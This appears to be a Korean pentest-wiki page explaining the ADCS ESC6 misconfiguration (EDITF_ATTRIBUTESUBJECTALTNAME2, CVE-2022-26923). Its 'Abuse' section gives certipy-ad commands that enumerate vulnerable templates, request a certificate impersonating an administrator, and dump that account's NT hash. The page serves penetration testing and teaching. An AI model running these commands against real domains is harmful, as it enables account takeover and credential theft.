> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/adcs/esc6.md).

# ESC6

{% hint style="info" %}
해당 취약점은 2022년 5월 Microsoft 보안 업데이트를 통해 패치된 CVE-2022-26923입니다.
{% endhint %}

CA의 구성 설정 중 `EDITF_ATTRIBUTESUBJECTALTNAME2` 플래그는 인증서를 요청 할 때 클라이언트가 SAN(Subject Alt Name) 필드를 요청할 수 있도록 허가하는 특수한 속성입니다.

이 플래그가 활성화 되어있다면 `Supply in the request` 가 활성화 되지 않아도 다른 사용자를 가장하여 인증서 발행이 가능합니다.

{% hint style="info" %}
보안 업데이트가 된 환경이더라도 SID 보안 확장이 미흡한 경우 취약점은 여전히 유효합니다.
{% endhint %}

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## References

{% embed url="<https://www.gradenegger.eu/en/take-over-the-active-directory-overall-structure-with-the-flag-editf_attributesubjectaltname2/>" %}

{% embed url="<https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-edit-vulnerable-ca-setting>" %}

{% embed url="<https://www.hackingarticles.in/esc6-editf_attributesubjectaltname2/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}
